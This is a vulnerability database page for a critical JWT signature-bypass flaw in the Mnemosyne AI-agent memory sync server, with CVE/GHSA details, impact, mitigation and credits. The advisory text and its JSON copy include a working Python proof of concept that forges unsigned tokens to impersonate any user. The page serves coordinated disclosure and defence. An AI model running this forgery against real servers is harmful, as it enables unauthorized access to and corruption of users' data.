Vulnerability-Lookup

CVE-2026-59163 (GCVE-0-2026-59163)

Vulnerability from cvelistv5 – Published: 2026-09-18 17:57 – Updated: 2026-09-18 18:01

Title

Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass

Summary

Mnemosyne is a memory layer for artificial intelligence agents. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key. The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library. For users who cannot upgrade immediately, restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable. The vulnerability is not exploitable against an unreachable endpoint.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-18 18:01 UTC

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/mnemosyne-oss/mnemosyne/securi…	x_refsource_CONFIRM
https://github.com/mnemosyne-oss/mnemosyne/pull/373	x_refsource_MISC
https://github.com/mnemosyne-oss/mnemosyne/commit…	x_refsource_MISC
https://github.com/mnemosyne-oss/mnemosyne/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
AxDSan	mnemosyne	Affected: < 3.10.1	guessed

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GHSA-XCW4-53CC-HV32

Vulnerability from github – Published: 2026-09-18 17:54 – Updated: 2026-09-18 17:54

Summary

Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass

Details

Summary

The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.

Severity: Critical

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1

Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.

Affected versions

All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.

Patched versions

v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)

Description

The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.

The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:

Constant-time signature comparison via hmac.compare_digest
Strict alg: HS256 check, rejecting none and other algorithms
UTC-aware exp validation with leeway
Loud errors with specific failure reasons
Type validation of decoded payload before use

Impact

An attacker with network access to the sync server can:

Forge a JWT for any user_id without knowing the secret
Authenticate as that user to /sync/status, /sync/push, and /sync/pull
Read the victim's sync state
Push malicious sync state to corrupt the victim's local database
Pivot within a shared deployment (multi-user sync server)

Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.

Reproduction

import base64
import json
import requests

# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
    header = base64.urlsafe_b64encode(
        json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
    ).rstrip(b"=")
    payload = base64.urlsafe_b64encode(
        json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
    ).rstrip(b"=")
    sig = b""
    return f"{header.decode()}.{payload.decode()}."

r = requests.get(
    "https://target.example.com/sync/status",
    headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())

A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.

Mitigation

Upgrade to v3.10.1.

For users who cannot upgrade immediately:

Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
The vulnerability is not exploitable against an unreachable endpoint.

Workarounds

None. The patch is required to restore authentication integrity.

Credits

Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
Fix: Denis Hache

Timeline

2026-06-13: Initial report received from Denis via private channel.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

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    "github_reviewed_at": "2026-09-18T17:54:26Z",
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    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Mnemosyne sync server\u0027s authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.\n\n**Severity: Critical**\n\nCVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1\n\nAssumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.\n\n### Affected versions\n\nAll mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.\n\n### Patched versions\n\nv3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)\n\n___\n\n### Description\n\nThe sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT\u0027s header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.\n\nThe fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:\n\n- Constant-time signature comparison via hmac.compare_digest\n- Strict alg: HS256 check, rejecting none and other algorithms\n- UTC-aware exp validation with leeway\n- Loud errors with specific failure reasons\n- Type validation of decoded payload before use\n\n### Impact\n\nAn attacker with network access to the sync server can:\n\n- Forge a JWT for any user_id without knowing the secret\n- Authenticate as that user to /sync/status, /sync/push, and /sync/pull\n- Read the victim\u0027s sync state\n- Push malicious sync state to corrupt the victim\u0027s local database\n- Pivot within a shared deployment (multi-user sync server)\n\nConfidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server\u0027s availability.\n\n### Reproduction\n\n```python\nimport base64\nimport json\nimport requests\n\n# Forge a JWT for any user. No secret required.\ndef forge_jwt(user_id):\n    header = base64.urlsafe_b64encode(\n        json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode()\n    ).rstrip(b\"=\")\n    payload = base64.urlsafe_b64encode(\n        json.dumps({\"user_id\": user_id, \"exp\": 9999999999}).encode()\n    ).rstrip(b\"=\")\n    sig = b\"\"\n    return f\"{header.decode()}.{payload.decode()}.\"\n\nr = requests.get(\n    \"https://target.example.com/sync/status\",\n    headers={\"Authorization\": f\"Bearer {forge_jwt(\u0027victim-user-id\u0027)}\"},\n)\nprint(r.status_code, r.json())\n```\n\nA 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.\n\n### Mitigation\n\nUpgrade to v3.10.1.\n\nFor users who cannot upgrade immediately:\n\n- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.\n- The vulnerability is not exploitable against an unreachable endpoint.\n\n### Workarounds\n\nNone. The patch is required to restore authentication integrity.\n\n### Credits\n\n- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.\n- Fix: Denis Hache\n\n### Timeline\n- 2026-06-13: Initial report received from Denis via private channel.",
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  "modified": "2026-09-18T17:54:26Z",
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    {
      "type": "WEB",
      "url": "https://github.com/AxDSan/mnemosyne/security/advisories/GHSA-xcw4-53cc-hv32"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mnemosyne-oss/mnemosyne/pull/373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mnemosyne-oss/mnemosyne/commit/a0b6b8711a1a485304971710dc3571e29ff9dbeb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AxDSan/mnemosyne"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mnemosyne-oss/mnemosyne/releases/tag/v3.10.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-59163 (GCVE-0-2026-59163)

GHSA-XCW4-53CC-HV32

Summary

Affected versions

Patched versions

Description

Impact

Reproduction

Mitigation

Workarounds

Credits

Timeline

Tags

Sightings

Nomenclature

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